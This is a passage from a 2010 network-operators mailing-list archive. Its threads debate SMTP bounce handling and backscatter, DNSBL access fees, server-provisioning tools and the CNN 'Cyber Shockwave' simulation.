later. E-mail users expect that when they send someone a message, it gets there in 6 hours or less, or they get an error within 6 hours. The purpose of SMTP protocol is to provide reliable mail delivery, which includes reporting errors. Spurious DSNs are less harmful than missing DSNs. Spurious DSNs can be discarded easily by the mail server that knows it didn't pass that message. DSNs that were not generated cannot be recovered. Discarding is currently the responsibility of the mail server whose address has been forged. Just like it's the responsibility of a host whose source address was forged in a TCP transaction, to discard the "ACK" packet for a connection that resulted from a spoofed SYN. The mail server sending DSN for the fake message, or replying to a spoofed SYN is not a spammer in any way, they are actually a victim wasting their own bandwidth responding to a bogus message. They have no real choice in the matter -- Weaknesses in SMTP protocol and lack of SPF implementation forced them into this position, they can't tell if the "MAIL FROM" line is real, anymore than a host on the internet can look at a source IP on a packet and know it's real or not. In the general case, Basic DNS and SPF tests are basically all the receiving mail server has to work with in "validating" return path. And they should perform these tests, before responding 250. When you responded with "250 Message accepted for delivery", that says you were satisfied that the message was legitimate, and the RETURN PATH and TO address is verifiable as far as you can tell. You can't NOT send DSNs if a failure occurs after that point, that is contrary to the requirements for reliable mail delivery. Rliable storage and delivery of legitimate messages is just as important as suppression of noise. Without reliable delivery, we don't really have a such thing as "internet mail" anymore. And by the way, a backup MX cannot verify the recipient when the primary MX is down. Especially when the backup MX is hosted off-site by another provider. The job of the backup is to hold mail in queue until the main mail system is back in operation, so "recipient verification" cannot actually be guaranteed. The perimeter MX also has no idea, that the recipient's mailbox has run out of disk space and cannot store the message, or that the alias points to a catch-all address on a different provider's mail server, where the user's account has been deleted. Some backscatter is to be expected as long as we have a reliable mail system, and it relies on returning messages via DSN to unverifiable MAIL FROM addresses. I only really see three options here.... give up on reliable mail delivery (might as well abandon SMTP entirely then, and replace it with a simpler protocol), revise SMTP to allow authentication of 'MAIL FROM', Or revise SMTP to require somehow validating the entire delivery path before "250 OK" can be accepted for any RCPT TO line. As in, eliminating the ability for mail servers to 'queue' messages for delivery. Instead when you issue 'RCPT TO', your mail server must immediately connect to the next hop mail server, start the SMTP transaction, and get an OK for that 'RCPT TO' prior to returning "Recipient OK" back to you. So you getting 250 OK to "RCPT TO" means every mail server in the delivery path simultaneously has a port 25 connection open to the next hop, has just returned 250 to the same RCPT TO line. -- -Mysid From mjkelly at gmail.com Sat Feb 20 17:03:09 2010 From: mjkelly at gmail.com (Matt Kelly) Date: Sat, 20 Feb 2010 18:03:09 -0500 Subject: centeralized server management solutions In-Reply-To: <366100671002201448w4fcfe440u563df5ff5f3f2c6d@mail.gmail.com> References: <20100220213541.GB5426@angus.ind.WPI.EDU> <366100671002201448w4fcfe440u563df5ff5f3f2c6d@mail.gmail.com> Message-ID: >> You didn't specify what OS'es you deploy, but for Linux/Red Hat-like >> systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. >> PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] >> is an alternative for managing Puppet hosts. Any options that also handle Windows Server? -- Matt On Feb 20, 2010, at 5:48 PM, Brandon Galbraith wrote: > Sorry for top post, posting from bb. > > Spacewalk is the open source upstream of redhat satellite. Can be used > for installation/provisioning and config management. Ties in well with > puppet and func. > > On 2/20/10, Chuck Anderson wrote: >> On Sat, Feb 20, 2010 at 01:29:38PM -0600, Mehmet Akcin wrote: >>> Centralized solution and server wont be on the same network , but >>> each >>> will have internet access >>> Drac cards come with Compact Flash cards >>> Bandwidth may not be quite fast and latency might be higher when >>> connecting to the centralized solution. >>> Monitoring can be apart from the server maintenance solution as I >>> already >>> primarily use cacti/nagios/IMapper. >> >> You didn't specify what OS'es you deploy, but for Linux/Red Hat-like >> systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. >> PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] >> is an alternative for managing Puppet hosts. >> >> [1] >> http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Installation_Guide-en-US/pt-install-advanced-deployment.html >> >> [2] http://reductivelabs.com/products/puppet/ >> >> [3] http://www.bacula.org/en/ >> >> [4] https://fedorahosted.org/cobbler/ >> >> [5] http://theforeman.org/ >> >> > > > -- > Brandon Galbraith > Mobile: 630.400.6992 > FNAL: 630.840.2141 > From johnl at iecc.com Sat Feb 20 17:40:27 2010 From: johnl at iecc.com (John Levine) Date: 20 Feb 2010 23:40:27 -0000 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> Message-ID: <20100220234027.7315.qmail@simone.iecc.com> >I don't know what your spam intake looks like but in mine, 5% to 10% >can't be ranked "high confidence" until checked by an eyeball mark 1. >In my system, that fraction is a candidate for a bounce... In mine, it's a candidate for a rejection at SMTP time. I now do nearly all of my spam filtering during the SMTP session. There might once have been a reason to accept quickly and chew through the mail later, but these days it all needs chewing so you might as well do it right away. This has the huge advantage that you can reject unwanted mail after data with 550 FOAD rather than bouncing. R's, John From joelja at bogus.com Sat Feb 20 18:10:54 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 20 Feb 2010 16:10:54 -0800 Subject: Spamhaus... In-Reply-To: <4B80273D.7010301@cox.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <4B80273D.7010301@cox.net> Message-ID: <4B807A0E.3050003@bogus.com> Larry Sheldon wrote: > On 2/20/2010 11:53 AM, Valdis.Kletnieks at vt.edu wrote: > >> So we've looked at it from 2 different aspects, and in both cases, the >> RFC says you shouldn't be bouncing spam to where it came from. > > Small nit, which is germane to the whole discussion; "...the RFC says > you shouldn't be bouncing spam to where IT SAYS it came from." > > There is no way in the current universe to know where the item came from > by inspecting it. You can only tell where you got it from...and if you > can't reject it while you know that, you must discard it. s/mime detached signatures rooted in some ca that you trust are actually a rather good way of identifying the sender. it's path or orign mail server is rather irrelevant in that context. i's not a general purpose solution but your statement is false. From jlewis at lewis.org Sat Feb 20 18:25:02 2010 From: jlewis at lewis.org (Jon Lewis) Date: Sat, 20 Feb 2010 19:25:02 -0500 (EST) Subject: Spamhaus... In-Reply-To: <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> Message-ID: I'm really amazed the thread police haven't pulled this one over and hauled it off to jail. The questions of when/whether/and to who bounces should be sent is a debate for spam-l or nanae. IMO, the original question in this thread was on-topic, but unfortunately it got very little discussion before things devolved into "why are you sending bounces?" and "I suppose you can't read the RFCs." The original question, "what do you do (or have you done) when DNSBL-X approaches you saying that your network is hitting their public NS's too hard and wants you to pay for continued access?" is something I'd like to see some answers to. Despite the Subject:, Spamhaus is neither the only DNSBL currently doing this nor the first to watch statistics on their public NS's and approach networks asking for money and/or cutting off access if you don't pay. Maybe you run a mail cluster that uses DNSBL-X. Maybe you haven't even heard of it, but you have enough customers using it, and querying through your caching DNS servers that your network has come up on their radar as a "heavy user". Telling your heavy user customers to stop using your DNS cache probably won't help. I know at least some of these orgs aggregate queries either per RIR assigned CIDR or per ASN, so spreading the queries out isn't likely to get you around the issue. So, do you pay, and setup your own local copy of the zones? Let them block your servers/network and let those of your customers who care make their own arrangements for continued access? ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From andrew.wallace at rocketmail.com Sat Feb 20 18:50:06 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 16:50:06 -0800 (PST) Subject: CNN LIVE stream? Message-ID: <11457.127.qm@web59613.mail.ac4.yahoo.com> I am from the UK and don't know how to watch CNN Cyber Shockwave via an internet live stream. The programme starts 8PM ET, 1AM UK. What do I do? Andrew From mysidia at gmail.com Sat Feb 20 19:17:39 2010 From: mysidia at gmail.com (James Hess) Date: Sat, 20 Feb 2010 19:17:39 -0600 Subject: Spamhaus... In-Reply-To: References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> Message-ID: <6eb799ab1002201717k71004edbh9c82681c1043ffb2@mail.gmail.com> On Sat, Feb 20, 2010 at 6:25 PM, Jon Lewis wrote: > it off to jail. ?The questions of when/whether/and to who bounces should be > sent is a debate for spam-l or nanae. I don't know about that. Bounce handling is not a question of spam filtering. Spam or not is orthogonal to the issue of forged return path. There really should be nothing to debate, except in the context of a protocol discussion, as the current internet standards are pretty clear and specifically inflexible on how internet mail hosts must handle error conditions. Just like TCP rfc793 is clear on how internet mail hosts must handle connection establishment. > cache probably won't help. ?I know at least some of these orgs aggregate > queries either per RIR assigned CIDR or per ASN, so spreading the queries > out isn't likely to get you around the issue. When contacted by the DNSBl, perhaps you inform the end-users to make DNSBL queries directly against DNSBL servers, directly from the mail server which is in their SWIP'ed IP range. There is little else you can do, isn't there? > So, do you pay, and setup your own local copy of the zones? ?Let them block > your servers/network and let those of your customers who care make their own > arrangements for continued access? That depends on the importance of the DNSBL. Spamhaus' description of rsync datafeed service on their web site appears to be incompatible with an ISP setting up a local copy and allowing customers to query. When setting up a local copy of the zone, you pay by "Number of e-mail users". See the problem? As an ISP serving a local copy of the zone to customer mail servers, you don't know how many mailboxes they have. Maybe i'm mistaken, but it appears each end user has to buy the service for their own mail servers, and the ISP isn't allowed to bypass that. For the purpose of the agreements with spamhaus, an ISP customer is probably considered a third party, and making a rbldns server available to them is disclosing spamhaus' secret DNSBL zone information.... -- -J From andrew.wallace at rocketmail.com Sat Feb 20 19:24:12 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 17:24:12 -0800 (PST) Subject: CNN Cyber Shockwave only available in US Message-ID: <697587.85558.qm@web59608.mail.ac4.yahoo.com> It is not being broadcast world wide... Provide links. Andrew From larry-lists at maxqe.com Sat Feb 20 19:29:27 2010 From: larry-lists at maxqe.com (Larry Brower) Date: Sat, 20 Feb 2010 19:29:27 -0600 Subject: CNN Cyber Shockwave only available in US In-Reply-To: <697587.85558.qm@web59608.mail.ac4.yahoo.com> References: <697587.85558.qm@web59608.mail.ac4.yahoo.com> Message-ID: <4B808C77.8020605@maxqe.com> andrew.wallace wrote: > It is not being broadcast world wide... > > Provide links. > > Andrew > > This does not appear to be something which belongs on NANOG. Funsec perhaps, but not here From randy at psg.com Sat Feb 20 19:40:49 2010 From: randy at psg.com (Randy Bush) Date: Sun, 21 Feb 2010 10:40:49 +0900 Subject: "Cyber Shockwave" on CNN In-Reply-To: <786356.16590.qm@web59608.mail.ac4.yahoo.com> References: <786356.16590.qm@web59608.mail.ac4.yahoo.com> Message-ID: > It's obvious though, they don't know who the enemy would be. i suspect the old walt kelly saying may fit well here. http://en.wikipedia.org/wiki/Pogo_%28comics%29#.22We_have_met_the_enemy....22 randy From bzs at world.std.com Sat Feb 20 20:00:06 2010 From: bzs at world.std.com (Barry Shein) Date: Sat, 20 Feb 2010 21:00:06 -0500 Subject: "Cyber Shockwave" on CNN In-Reply-To: References: <786356.16590.qm@web59608.mail.ac4.yahoo.com> Message-ID: <19328.37798.693530.121440@world.std.com> It's "Night of the Living Fed!", ex-bureaucrats brought back to life! They just don't know what to do, they don't know what to focus on, they're obsessed with whether or not they can manage to Mirandize whoever is responsible for the attack and similar legal authorities. Those who can't see this broadcast, trust me, you're not missing anything, it's inane. Maybe a bit scary in how clueless these people are, they can't even fake sounding like they're effective. It's painfully clear that the only skill one needs to get one of these top-level cabinet positions (which most of them have served in in the recent past) is the skill to get one of these top-level cabinet positions, join the right clubs, play golf, be born or marry well, etc. These are not the product of a meritocracy, they're the product of incest. -- -Barry Shein The World | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada Software Tool & Die | Public Access Internet | SINCE 1989 *oo* From andrew.wallace at rocketmail.com Sat Feb 20 20:19:57 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 20 Feb 2010 18:19:57 -0800 (PST) Subject: CNN Cyber Shockwave only available in US In-Reply-To: <4B808C77.8020605@maxqe.com> Message-ID: <994316.3853.qm@web59603.mail.ac4.yahoo.com> --- On Sun, 21/2/10, Larry Brower wrote: > From: Larry Brower > Subject: Re: CNN Cyber Shockwave only available in US > To: "andrew.wallace" > Cc: nanog at nanog.org > Date: Sunday, 21 February, 2010, 1:29 > andrew.wallace wrote: > Funsec perhaps, but not here You *don't* expect The British to post on a mailing list setup & run by an ex-IDF (Israel Defence Force) agent do you? Who is, according to our records, subscribed to '8200 Fellowship - Israeli IDF' on LinkedIn. http://www.linkedin.com/groups?home=&gid=84086 Who is likely still to hold patriotic values in favour of Israel. No thanks, Andrew From LarrySheldon at cox.net Sat Feb 20 20:29:10 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 20:29:10 -0600 Subject: Spamhaus... In-Reply-To: <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> Message-ID: <4B809A76.10704@cox.net> On 2/20/2010 4:57 PM, James Hess wrote: For the purpose of the following two paragraphs, pretend for the moment that you operate a business selling stuff via an email address Sales at Example.Com. For dramatic effect, assume your children will starve if you are not able to sell anything. Further, pretend that you have really annoyed somebody--a competitor, perhaps. Suppose that your competitor has contracted with a real, genuine spammer to send email mmessages advertizing some trash at a rate of tens of thousands per second until the bot-net gets shut down using Sales at Example.Com as the Return-Path. Now. Read the two paragraphs. > Spurious DSNs are less harmful than missing DSNs. Spurious DSNs can > be discarded easily by the mail server that knows it didn't pass that > message. DSNs that were not generated cannot be recovered. > > Discarding is currently the responsibility of the mail server whose > address has been forged. Just like it's the responsibility of a host > whose source address was forged in a TCP transaction, to discard the > "ACK" packet for a connection that resulted from a spoofed SYN. Anything about those two 'graphs you would like to reconsider? And by the way, when I was running a network, if I got very many errant SYN's from a particular source, that source would get a static route to a 500 ohm resistor. > The mail server sending DSN for the fake message, or replying to a > spoofed SYN is not a spammer in any way, they are actually a victim > wasting their own bandwidth responding to a bogus message. Victim they may be, spammer they are, The definition of "spammer" does not include a "get even with the world" or "do unto others as was done unto you" clauses. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From brandon.kim at brandontek.com Sat Feb 20 20:35:35 2010 From: brandon.kim at brandontek.com (Brandon Kim) Date: Sat, 20 Feb 2010 21:35:35 -0500 Subject: "Cyber Shockwave" on CNN In-Reply-To: <19328.37798.693530.121440@world.std.com> References: , <786356.16590.qm@web59608.mail.ac4.yahoo.com>, , <19328.37798.693530.121440@world.std.com> Message-ID: haha that was pretty damn funny!!! > From: bzs at world.std.com > Date: Sat, 20 Feb 2010 21:00:06 -0500 > To: randy at psg.com > Subject: Re: "Cyber Shockwave" on CNN > CC: nanog at nanog.org > > > It's "Night of the Living Fed!", ex-bureaucrats brought back to life! > > They just don't know what to do, they don't know what to focus on, > they're obsessed with whether or not they can manage to Mirandize > whoever is responsible for the attack and similar legal authorities. > > Those who can't see this broadcast, trust me, you're not missing > anything, it's inane. Maybe a bit scary in how clueless these people > are, they can't even fake sounding like they're effective. > > It's painfully clear that the only skill one needs to get one of these > top-level cabinet positions (which most of them have served in in the > recent past) is the skill to get one of these top-level cabinet > positions, join the right clubs, play golf, be born or marry well, > etc. These are not the product of a meritocracy, they're the product > of incest. > > -- > -Barry Shein > > The World | bzs at TheWorld.com | http://www.TheWorld.com > Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada > Software Tool & Die | Public Access Internet | SINCE 1989 *oo* > From LarrySheldon at cox.net Sat Feb 20 20:36:01 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 20:36:01 -0600 Subject: Spamhaus... In-Reply-To: <4B807A0E.3050003@bogus.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <4B80273D.7010301@cox.net> <4B807A0E.3050003@bogus.com> Message-ID: <4B809C11.6070104@cox.net> On 2/20/2010 6:10 PM, Joel Jaeggli wrote: > Larry Sheldon wrote: >> There is no way in the current universe to know where the item came from >> by inspecting it. You can only tell where you got it from...and if you >> can't reject it while you know that, you must discard it. > > s/mime detached signatures rooted in some ca that you trust are actually > a rather good way of identifying the sender. it's path or orign mail > server is rather irrelevant in that context. i's not a general purpose > solution but your statement is false. And there is no way in this universe to know that anything in the message (with the possible exception of the Received header your MTA wrote) is not a forgery. My statement is true. And I'm not going around this loop again. If you think spamming is good, I'm not going to change your mind. If you think it is bad, I don't need to. Sending unsolicited bulk email (under any guise) is spamming. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From Valdis.Kletnieks at vt.edu Sat Feb 20 20:45:32 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 20 Feb 2010 21:45:32 -0500 Subject: "Cyber Shockwave" on CNN In-Reply-To: Your message of "Sat, 20 Feb 2010 16:50:06 PST." <11457.127.qm@web59613.mail.ac4.yahoo.com> References: <11457.127.qm@web59613.mail.ac4.yahoo.com> Message-ID: <24741.1266720332@localhost> On Sat, 20 Feb 2010 16:50:06 PST, "andrew.wallace" said: > I am from the UK and don't know how to watch CNN Cyber Shockwave via an internet live stream. Quick summary an hour in: "Heck of a cyber-job, Brownie". Nothing surprising here. If they wanted to be more realistic, they'd include some Flox Knews pundits calling for waterboarding somebody, anybody, to find out who was behind it. Scary part: Most of these people were at one time in positions where they would have been making (or not) these same decisions if they'd happened on their shift. Unfortunately, until we get over our national obsession with equating clue with elitism, it's not going to improve. But then, absolutely nothing that should be a surprise to anybody who didn't just fall out of a tree. (WTF quote that just went by - "Hospitals have backup diesel generators, but only 6-12 hours of fuel". I certainly hope that number is suffering from pulled-from-orifice syndrome. Heck - *our* day tank has 36 hours of diesel in it because "power out for 48-72 hours due to ice storm" is a realistic threat around here. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From jmamodio at gmail.com Sat Feb 20 20:47:19 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 20 Feb 2010 20:47:19 -0600 Subject: "Cyber Shockwave" on CNN In-Reply-To: References: <331926.91238.qm@web59608.mail.ac4.yahoo.com> Message-ID: <202705b1002201847g7fc5c320i1f2b1a35001f8734@mail.gmail.com> > My favorite: "What was most troubling to the participants was their > inability to find a guilty party." Wasn't Jeff Williams and his army of 100+ thousand trolls ? From larry-lists at maxqe.com Sat Feb 20 20:50:57 2010 From: larry-lists at maxqe.com (Larry Brower) Date: Sat, 20 Feb 2010 20:50:57 -0600 Subject: CNN Cyber Shockwave only available in US In-Reply-To: <994316.3853.qm@web59603.mail.ac4.yahoo.com> References: <994316.3853.qm@web59603.mail.ac4.yahoo.com> Message-ID: <4B809F91.5060704@maxqe.com> andrew.wallace wrote: > --- On Sun, 21/2/10, Larry Brower wrote: > > >> From: Larry Brower >> Subject: Re: CNN Cyber Shockwave only available in US >> To: "andrew.wallace" >> Cc: nanog at nanog.org >> Date: Sunday, 21 February, 2010, 1:29 >> andrew.wallace wrote: >> Funsec perhaps, but not here >> > > You *don't* expect The British to post on a mailing list setup & run by an ex-IDF (Israel Defence Force) agent do you? > > Who is, according to our records, subscribed to '8200 Fellowship - Israeli IDF' on LinkedIn. http://www.linkedin.com/groups?home=&gid=84086 > > Who is likely still to hold patriotic values in favour of Israel. > > No thanks, > > Andrew > > > > Theres no need to bash on Gadi. Why don't you go outside or something...... From nanog at lacutt.com Sat Feb 20 21:36:03 2010 From: nanog at lacutt.com (Derrick H.) Date: Sat, 20 Feb 2010 21:36:03 -0600 Subject: Slightly OT. Good IMAP search tool? In-Reply-To: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> References: <1b5c1c151002201156p29728766od59e3445f793015c@mail.gmail.com> Message-ID: <20100221033602.GQ26728@nm.lacutt> On Sat, Feb 20, 2010 at 11:56:19AM -0800, Mike Lyon wrote: > Howdy Folks, > > What are people using these days to suck down an IMAP account, search it and > then export the search results? Any suggestions. > > Cheers, > Mike Check out mairix: http://www.rpcurnow.force9.co.uk/mairix/ """ mairix is a program for indexing and searching email messages stored in maildir, MH or mbox folders. """ From tomb at byrneit.net Sat Feb 20 21:49:25 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Sat, 20 Feb 2010 19:49:25 -0800 Subject: "Cyber Shockwave" on CNN In-Reply-To: <862133.58195.qm@web59616.mail.ac4.yahoo.com> References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> Message-ID: <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> Right, because GCHQ doesn't/hasn't/never would do such a thing... At least the US has a written constitution and the concept of the people being sovereign. I'll take that over trusting "Her Majesty's..." whatever. But then again, I'm Irish, so I have a bit more direct personal and familial experience of the darker side of British "civilization". (EG: While detention without trial is relatively NEW in the US, it's been a fact of life in the UK for most of its history). > -----Original Message----- > From: andrew.wallace [mailto:andrew.wallace at rocketmail.com] > Sent: Saturday, February 20, 2010 2:13 PM > To: Randy Bush > Cc: nanog at nanog.org > Subject: Re: "Cyber Shockwave" on CNN > > --- On Sat, 20/2/10, Randy Bush wrote: > > > From: Randy Bush > > Subject: Re: "Cyber Shockwave" on CNN > > To: "andrew.wallace" > > Cc: nanog at nanog.org > > Date: Saturday, 20 February, 2010, 21:58 > > > It looks like this demo is > > > > a bunch of sick press and sick ex-gov wishtheycouldbeagains > > trying to > > get as much mindshare as they can.? and you're helping > > them. > > > > randy > > > > I refuse to let you say I am helping them -- I am from UK, I don't > agree with them wanting to allow The NSA to take over private sector > networks or citizens smart phones 'in an emergency'. > > Andrew > > > From charles at knownelement.com Sat Feb 20 21:51:51 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Sun, 21 Feb 2010 03:51:51 +0000 Subject: "Cyber Shockwave" on CNN Message-ID: <955863710-1266724335-cardhu_decombobulator_blackberry.rim.net-529229190-@bda609.bisx.prod.on.blackberry> Alright can someone moderate this thread and shut it down please? ------Original Message------ From: Tomas L. Byrnes To: andrew.wallace To: Randy Bush Cc: nanog at nanog.org Subject: RE: "Cyber Shockwave" on CNN Sent: Feb 20, 2010 7:49 PM Right, because GCHQ doesn't/hasn't/never would do such a thing... At least the US has a written constitution and the concept of the people being sovereign. I'll take that over trusting "Her Majesty's..." whatever. But then again, I'm Irish, so I have a bit more direct personal and familial experience of the darker side of British "civilization". (EG: While detention without trial is relatively NEW in the US, it's been a fact of life in the UK for most of its history). > -----Original Message----- > From: andrew.wallace [mailto:andrew.wallace at rocketmail.com] > Sent: Saturday, February 20, 2010 2:13 PM > To: Randy Bush > Cc: nanog at nanog.org > Subject: Re: "Cyber Shockwave" on CNN > > --- On Sat, 20/2/10, Randy Bush wrote: > > > From: Randy Bush > > Subject: Re: "Cyber Shockwave" on CNN > > To: "andrew.wallace" > > Cc: nanog at nanog.org > > Date: Saturday, 20 February, 2010, 21:58 > > > It looks like this demo is > > > > a bunch of sick press and sick ex-gov wishtheycouldbeagains > > trying to > > get as much mindshare as they can.? and you're helping > > them. > > > > randy > > > > I refuse to let you say I am helping them -- I am from UK, I don't > agree with them wanting to allow The NSA to take over private sector > networks or citizens smart phones 'in an emergency'. > > Andrew > > > Sent via BlackBerry from T-Mobile From john-nanog at johnpeach.com Sat Feb 20 21:54:36 2010 From: john-nanog at johnpeach.com (John Peach) Date: Sat, 20 Feb 2010 22:54:36 -0500 Subject: "Cyber Shockwave" on CNN In-Reply-To: <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> Message-ID: <20100220225436.5e699ec1@milhouse.peachfamily.net> On Sat, 20 Feb 2010 19:49:25 -0800 "Tomas L. Byrnes" wrote: > Right, because GCHQ doesn't/hasn't/never would do such a thing... > plonk - moron -- John From sean at donelan.com Sat Feb 20 22:14:58 2010 From: sean at donelan.com (Sean Donelan) Date: Sat, 20 Feb 2010 23:14:58 -0500 (EST) Subject: Emergency backup standards (was Re: "Cyber Shockwave" on CNN) In-Reply-To: <24741.1266720332@localhost> References: <11457.127.qm@web59613.mail.ac4.yahoo.com> <24741.1266720332@localhost> Message-ID: On Sat, 20 Feb 2010, Valdis.Kletnieks at vt.edu wrote: > (WTF quote that just went by - "Hospitals have backup diesel generators, but > only 6-12 hours of fuel". I certainly hope that number is suffering from > pulled-from-orifice syndrome. Heck - *our* day tank has 36 hours of diesel in > it because "power out for 48-72 hours due to ice storm" is a realistic threat > around here. The standards have been changing. As always, please consult with a professional engineer licensed in your jurisdiction. Depending on the type of medical facility, it may now require up to 96 hours of backup. Although most medical care facilities are probably in the 24 or 72 hour range. At the upper operational limit, its a dry tank. You probably need to start worrying about escorting fuel trucks through the disaster area before the tanks run dry. It also assumes all medical facilites had the money to upgrade backup capacity and topped-off their tanks. See the Joint Commission on the Accreditation of Health Organizations and the National Fire Protection Association standards. http://www.nytimes.com/2010/01/03/weekinreview/03fink.html But systems that meet those standards are .not always sufficient. in major catastrophes, according to a warning issued after Katrina by the organization that accredits most American hospitals, the Joint Commission. National electrical standards for hospitals were traditionally oriented toward maintaining electricity during common, brief local power outages, not prolonged emergencies. http://www.mercurynews.com/breaking-news/ci_14423862 "We've had power outages before in parts of the city," City Manager James Keene said. "But to have essentially the entire city without power from 8 in the morning to 6 at night, the impact that was having on businesses and critical services like Stanford Hospital, and all our traffic lights being out . you think about all the bad things and problems that could have unfolded over the course of the day. We really avoided most of those." From randy at psg.com Sat Feb 20 22:45:48 2010 From: randy at psg.com (Randy Bush) Date: Sun, 21 Feb 2010 13:45:48 +0900 Subject: "Cyber Shockwave" on CNN In-Reply-To: <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> Message-ID: > At least the US has a written constitution and the concept of the > people being sovereign. and a room im sf where at&t hands all their internet and voice to the nsa. right. and the list is long. internet and voie traffic are no longer private in the least sense. and cisco builds taps into all the devices. it goes on and on. you may have missed the last decade where the constitution kinda went out the window. randy From johnl at iecc.com Sat Feb 20 23:38:22 2010 From: johnl at iecc.com (John Levine) Date: 21 Feb 2010 05:38:22 -0000 Subject: blowback, was Spamhaus... In-Reply-To: <4B809A76.10704@cox.net> Message-ID: <20100221053822.8544.qmail@simone.iecc.com> >For the purpose of the following two paragraphs, pretend for the moment >that you operate a business selling stuff via an email address >Sales at Example.Com. For dramatic effect, assume your children will >starve if you are not able to sell anything. > >Further, pretend that you have really annoyed somebody--a competitor, >perhaps. Suppose that your competitor has contracted with a real, >genuine spammer to send email mmessages advertizing some trash at a rate >of tens of thousands per second until the bot-net gets shut down using >Sales at Example.Com as the Return-Path. Lest anyone think this is a hypothetical argument, for a while I had annoyed some eastern European spammer enough that I was getting 400,000 blowback bounces a day on a server that never sent more than 10,000 outbound messages/day. I was able to deal with it via some custom patches in my SMTP daemon, since the blowback had technical characteristics that made it possible to recognize efficiently, but it wasn't pretty. R's, John From aaron.glenn at gmail.com Sun Feb 21 00:11:06 2010 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Sat, 20 Feb 2010 22:11:06 -0800 Subject: CNN LIVE stream? In-Reply-To: <11457.127.qm@web59613.mail.ac4.yahoo.com> References: <11457.127.qm@web59613.mail.ac4.yahoo.com> Message-ID: <18f601941002202211ybba215fo52256724adb5de93@mail.gmail.com> not care? if you honestly think you'd garner knowledge you didn't already have from a CNN special...well, I don't know what to say. On Sat, Feb 20, 2010 at 4:50 PM, andrew.wallace wrote: > I am from the UK and don't know how to watch CNN Cyber Shockwave via an internet live stream. > > The programme starts 8PM ET, 1AM UK. > > What do I do? > > Andrew > > > > > > > From johnl at iecc.com Sun Feb 21 00:27:28 2010 From: johnl at iecc.com (John Levine) Date: 21 Feb 2010 06:27:28 -0000 Subject: Spamhaus... In-Reply-To: <6eb799ab1002201717k71004edbh9c82681c1043ffb2@mail.gmail.com> Message-ID: <20100221062728.8754.qmail@simone.iecc.com> >Maybe I'm mistaken, but it appears each end user has to buy the >service for their own mail servers, and the ISP isn't allowed to >bypass that. For the purpose of the agreements with spamhaus, an ISP 